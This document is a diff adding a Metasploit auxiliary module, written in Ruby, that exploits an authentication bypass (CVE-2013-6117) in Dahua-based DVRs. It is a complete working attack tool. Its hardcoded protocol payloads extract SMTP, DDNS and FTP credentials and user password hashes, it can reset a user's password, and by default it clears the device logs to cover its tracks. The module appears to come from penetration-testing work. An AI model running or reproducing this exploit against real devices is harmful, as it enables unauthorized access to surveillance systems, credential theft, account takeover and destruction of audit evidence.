|
| 1 | +class Metasploit3 < Msf::Auxiliary |
| 2 | + include Msf::Exploit::Remote::Tcp |
| 3 | + include Msf::Auxiliary::Scanner |
| 4 | + include Msf::Auxiliary::Report |
| 5 | + |
| 6 | + def initialize |
| 7 | + super( |
| 8 | + 'Name' => %q(Dahua DVR Auth Bypass Scanner), |
| 9 | + 'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs), |
| 10 | + 'Author' => [ |
| 11 | + 'Jake Reynolds - Depth Security', # Vulnerability Discoverer |
| 12 | + 'Tyler Bennett - Talos Infosec', # Metasploit Module |
| 13 | + 'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module |
| 14 | + 'Nathan McBride' # regex extraordinaire |
| 15 | + ], |
| 16 | + 'References' => [ |
| 17 | + [ 'CVE', '2013-6117' ], |
| 18 | + [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] |
| 19 | + ], |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'DefaultAction' => 'VERSION', |
| 22 | + 'Actions' => |
| 23 | + [ |
| 24 | + [ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ], |
| 25 | + [ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ], |
| 26 | + [ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ], |
| 27 | + [ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ], |
| 28 | + [ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ], |
| 29 | + [ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ], |
| 30 | + [ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ], |
| 31 | + [ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ], |
| 32 | + [ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ] |
| 33 | + ] |
| 34 | + ) |
| 35 | + |
| 36 | + deregister_options('RHOST') |
| 37 | + register_options([ |
| 38 | + OptString.new('USERNAME', [false, 'A username to reset', '888888']), |
| 39 | + OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), |
| 40 | + OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]), |
| 41 | + Opt::RPORT(37777) |
| 42 | + ]) |
| 43 | + end |
| 44 | + |
| 45 | + U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ |
| 46 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 47 | + DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00" |
| 48 | + # Payload to grab version of the DVR |
| 49 | + VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ |
| 50 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 51 | + # Payload to grab Email Settings of the DVR |
| 52 | + EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ |
| 53 | + "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 54 | + # Payload to grab DDNS Settings of the DVR |
| 55 | + DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ |
| 56 | + "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 57 | + # Payload to grab NAS Settings of the DVR |
| 58 | + NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ |
| 59 | + "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 60 | + # Payload to grab the Channels that each camera is assigned to on the DVR |
| 61 | + CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ |
| 62 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ |
| 63 | + "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ |
| 64 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 65 | + # Payload to grab the Users Groups of the DVR |
| 66 | + GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ |
| 67 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 68 | + # Payload to grab the Users and their hashes from the DVR |
| 69 | + USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ |
| 70 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 71 | + # Payload to grab the Serial Number of the DVR |
| 72 | + SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ |
| 73 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 74 | + # Payload to clear the logs of the DVR |
| 75 | + CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ |
| 76 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 77 | + CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ |
| 78 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 79 | + |
| 80 | + def setup |
| 81 | + @password = datastore['PASSWORD'] |
| 82 | + @password ||= Rex::Text.rand_text_alpha(6) |
| 83 | + end |
| 84 | + |
| 85 | + def grab_version |
| 86 | + connect |
| 87 | + sock.put(VERSION) |
| 88 | + data = sock.get_once |
| 89 | + return unless data =~ /[\x00]{8,}([[:print:]]+)/ |
| 90 | + ver = Regexp.last_match[1] |
| 91 | + print_good("#{peer} -- version: #{ver}") |
| 92 | + end |
| 93 | + |
| 94 | + def grab_serial |
| 95 | + connect |
| 96 | + sock.put(SN) |
| 97 | + data = sock.get_once |
| 98 | + return unless data =~ /[\x00]{8,}([[:print:]]+)/ |
| 99 | + serial = Regexp.last_match[1] |
| 100 | + print_good("#{peer} -- serial number: #{serial}") |
| 101 | + end |
| 102 | + |
| 103 | + def grab_email |
| 104 | + connect |
| 105 | + sock.put(EMAIL) |
| 106 | + return unless (response = sock.get_once) |
| 107 | + data = response.split('&&') |
| 108 | + print_good("#{peer} -- Email Settings:") |
| 109 | + return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i |
| 110 | + if mailhost = Regexp.last_match[1].split(':') |
| 111 | + print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank? |
| 112 | + print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank? |
| 113 | + print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank? |
| 114 | + mailserver = "#{mailhost[0]}" |
| 115 | + mailport = "#{mailhost[1]}" |
| 116 | + muser = "#{data[5]}" |
| 117 | + mpass = "#{data[6]}" |
| 118 | + end |
| 119 | + return if muser.blank? && mpass.blank? |
| 120 | + print_good(" SMTP User: #{data[5]}") |
| 121 | + print_good(" SMTP Password: #{data[6]}") |
| 122 | + return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank? |
| 123 | + report_email_cred(mailserver, mailport, muser, mpass) |
| 124 | + end |
| 125 | + |
| 126 | + def grab_ddns |
| 127 | + connect |
| 128 | + sock.put(DDNS) |
| 129 | + return unless (response = sock.get_once) |
| 130 | + data = response.split(/&&[0-1]&&/) |
| 131 | + ddns_table = Rex::Ui::Text::Table.new( |
| 132 | + 'Header' => 'Dahua DDNS Settings', |
| 133 | + 'Indent' => 1, |
| 134 | + 'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password'] |
| 135 | + ) |
| 136 | + data.each_with_index do |val, index| |
| 137 | + next if index == 0 |
| 138 | + val = val.split("&&") |
| 139 | + ddns_service = val[0] |
| 140 | + ddns_server = val[1] |
| 141 | + ddns_port = val[2] |
| 142 | + ddns_domain = val[3] |
| 143 | + ddns_user = val[4] |
| 144 | + ddns_pass = val[5] |
| 145 | + ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ] |
| 146 | + unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? |
| 147 | + if datastore['VERBOSE'] |
| 148 | + ddns_table.print |
| 149 | + end |
| 150 | + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) |
| 151 | + end |
| 152 | + end |
| 153 | + end |
| 154 | + |
| 155 | + def grab_nas |
| 156 | + connect |
| 157 | + sock.put(NAS) |
| 158 | + return unless (data = sock.get_once) |
| 159 | + print_good("#{peer} -- NAS Settings:") |
| 160 | + server = '' |
| 161 | + port = '' |
| 162 | + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ |
| 163 | + server = Regexp.last_match[1].unpack('C*').join('.') |
| 164 | + port = Regexp.last_match[2].unpack('S') |
| 165 | + end |
| 166 | + if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data |
| 167 | + ftpuser.strip! |
| 168 | + ftppass.strip! |
| 169 | + unless ftpuser.blank? || ftppass.blank? |
| 170 | + print_good("#{peer} -- NAS Server: #{server}") |
| 171 | + print_good("#{peer} -- NAS Port: #{port}") |
| 172 | + print_good("#{peer} -- FTP User: #{ftpuser}") |
| 173 | + print_good("#{peer} -- FTP Pass: #{ftppass}") |
| 174 | + report_creds( |
| 175 | + host: server, |
| 176 | + port: port, |
| 177 | + user: ftpuser, |
| 178 | + pass: ftppass, |
| 179 | + type: "FTP", |
| 180 | + active: true) |
| 181 | + end |
| 182 | + end |
| 183 | + end |
| 184 | + |
| 185 | + def grab_channels |
| 186 | + connect |
| 187 | + sock.put(CHANNELS) |
| 188 | + data = sock.get_once.split('&&') |
| 189 | + channels_table = Rex::Ui::Text::Table.new( |
| 190 | + 'Header' => 'Dahua Camera Channels', |
| 191 | + 'Indent' => 1, |
| 192 | + 'Columns' => ['ID', 'Peer', 'Channels'] |
| 193 | + ) |
| 194 | + return unless data.length > 1 |
| 195 | + data.each_with_index do |val, index| |
| 196 | + number = index.to_s |
| 197 | + channels = val[/([[:print:]]+)/] |
| 198 | + channels_table << [ number, peer, channels ] |
| 199 | + end |
| 200 | + channels_table.print |
| 201 | + end |
| 202 | + |
| 203 | + def grab_users |
| 204 | + connect |
| 205 | + sock.put(USERS) |
| 206 | + return unless (response = sock.get_once) |
| 207 | + data = response.split('&&') |
| 208 | + usercount = 0 |
| 209 | + users_table = Rex::Ui::Text::Table.new( |
| 210 | + 'Header' => 'Dahua Users Hashes and Rights', |
| 211 | + 'Indent' => 1, |
| 212 | + 'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description'] |
| 213 | + ) |
| 214 | + data.each do |val| |
| 215 | + usercount += 1 |
| 216 | + user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures |
| 217 | + users_table << [ peer, user, md5hash, groups, rights, name] |
| 218 | + # Write the dahua hash to the database |
| 219 | + hash = "#{rhost} #{user}:$dahua$#{md5hash}" |
| 220 | + report_hash(rhost, rport, user, hash) |
| 221 | + # Write the vulnerability to the database |
| 222 | + report_vuln( |
| 223 | + host: rhost, |
| 224 | + port: rport, |
| 225 | + proto: 'tcp', |
| 226 | + sname: 'dvr', |
| 227 | + name: 'Dahua Authentication Password Hash Exposure', |
| 228 | + info: "Obtained password hash for user #{user}: #{md5hash}", |
| 229 | + refs: references |
| 230 | + ) |
| 231 | + end |
| 232 | + users_table.print |
| 233 | + end |
| 234 | + |
| 235 | + def grab_groups |
| 236 | + connect |
| 237 | + sock.put(GROUPS) |
| 238 | + return unless (response = sock.get_once) |
| 239 | + data = response.split('&&') |
| 240 | + groups_table = Rex::Ui::Text::Table.new( |
| 241 | + 'Header' => 'Dahua groups', |
| 242 | + 'Indent' => 1, |
| 243 | + 'Columns' => ['ID', 'Peer', 'Group'] |
| 244 | + ) |
| 245 | + data.each do |val| |
| 246 | + number = "#{val[/(([\d]+))/]}" |
| 247 | + groups = "#{val[/(([a-z]+))/]}" |
| 248 | + groups_table << [ number, peer, groups ] |
| 249 | + end |
| 250 | + groups_table.print |
| 251 | + end |
| 252 | + |
| 253 | + def reset_user |
| 254 | + connect |
| 255 | + userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password |
| 256 | + u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ |
| 257 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 258 | + u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ |
| 259 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" |
| 260 | + u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ |
| 261 | + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring |
| 262 | + sock.put(u1) |
| 263 | + sock.put(u2) |
| 264 | + sock.put(u3) |
| 265 | + sock.get_once |
| 266 | + sock.put(u1) |
| 267 | + return unless sock.get_once |
| 268 | + print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") |
| 269 | + end |
| 270 | + |
| 271 | + def clear_logs |
| 272 | + connect |
| 273 | + sock.put(CLEAR_LOGS1) |
| 274 | + sock.put(CLEAR_LOGS2) |
| 275 | + print_good("#{peer} -- logs cleared") |
| 276 | + end |
| 277 | + |
| 278 | + def peer |
| 279 | + "#{rhost}:#{rport}" |
| 280 | + end |
| 281 | + |
| 282 | + def run_host(_ip) |
| 283 | + begin |
| 284 | + connect |
| 285 | + sock.put(U1) |
| 286 | + data = sock.recv(8) |
| 287 | + disconnect |
| 288 | + return unless data == DVR_RESP |
| 289 | + print_good("#{peer} -- Dahua-based DVR found") |
| 290 | + report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") |
| 291 | + |
| 292 | + case action.name.upcase |
| 293 | + when 'CHANNEL' |
| 294 | + grab_channels |
| 295 | + when 'DDNS' |
| 296 | + grab_ddns |
| 297 | + when 'EMAIL' |
| 298 | + grab_email |
| 299 | + when 'GROUP' |
| 300 | + grab_groups |
| 301 | + when 'NAS' |
| 302 | + grab_nas |
| 303 | + when 'RESET' |
| 304 | + reset_user |
| 305 | + when 'SERIAL' |
| 306 | + grab_serial |
| 307 | + when 'USER' |
| 308 | + grab_users |
| 309 | + when 'VERSION' |
| 310 | + grab_version |
| 311 | + end |
| 312 | + |
| 313 | + clear_logs if datastore['CLEAR_LOGS'] |
| 314 | + ensure |
| 315 | + disconnect |
| 316 | + end |
| 317 | + end |
| 318 | + |
| 319 | + def report_hash(rhost, rport, user, hash) |
| 320 | + service_data = { |
| 321 | + address: rhost, |
| 322 | + port: rport, |
| 323 | + service_name: 'dahua_dvr', |
| 324 | + protocol: 'tcp', |
| 325 | + workspace_id: myworkspace_id |
| 326 | + } |
| 327 | + |
| 328 | + credential_data = { |
| 329 | + module_fullname: fullname, |
| 330 | + origin_type: :service, |
| 331 | + private_data: hash, |
| 332 | + private_type: :nonreplayable_hash, |
| 333 | + jtr_format: 'dahua_hash', |
| 334 | + username: user |
| 335 | + }.merge(service_data) |
| 336 | + |
| 337 | + login_data = { |
| 338 | + core: create_credential(credential_data), |
| 339 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 340 | + }.merge(service_data) |
| 341 | + |
| 342 | + create_credential_login(login_data) |
| 343 | + end |
| 344 | + |
| 345 | + def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) |
| 346 | + service_data = { |
| 347 | + address: ddns_server, |
| 348 | + port: ddns_port, |
| 349 | + service_name: 'ddns settings', |
| 350 | + protocol: 'tcp', |
| 351 | + workspace_id: myworkspace_id |
| 352 | + } |
| 353 | + |
| 354 | + credential_data = { |
| 355 | + module_fullname: fullname, |
| 356 | + origin_type: :service, |
| 357 | + private_data: ddns_pass, |
| 358 | + private_type: :password, |
| 359 | + username: ddns_user |
| 360 | + }.merge(service_data) |
| 361 | + |
| 362 | + login_data = { |
| 363 | + core: create_credential(credential_data), |
| 364 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 365 | + }.merge(service_data) |
| 366 | + |
| 367 | + create_credential_login(login_data) |
| 368 | + end |
| 369 | + |
| 370 | + def report_email_cred(mailserver, mailport, muser, mpass) |
| 371 | + service_data = { |
| 372 | + address: mailserver, |
| 373 | + port: mailport, |
| 374 | + service_name: 'email settings', |
| 375 | + protocol: 'tcp', |
| 376 | + workspace_id: myworkspace_id |
| 377 | + } |
| 378 | + |
| 379 | + credential_data = { |
| 380 | + module_fullname: fullname, |
| 381 | + origin_type: :service, |
| 382 | + private_data: mpass, |
| 383 | + private_type: :password, |
| 384 | + username: muser |
| 385 | + }.merge(service_data) |
| 386 | + |
| 387 | + login_data = { |
| 388 | + core: create_credential(credential_data), |
| 389 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 390 | + }.merge(service_data) |
| 391 | + |
| 392 | + create_credential_login(login_data) |
| 393 | + end |
| 394 | +end |
0 commit comments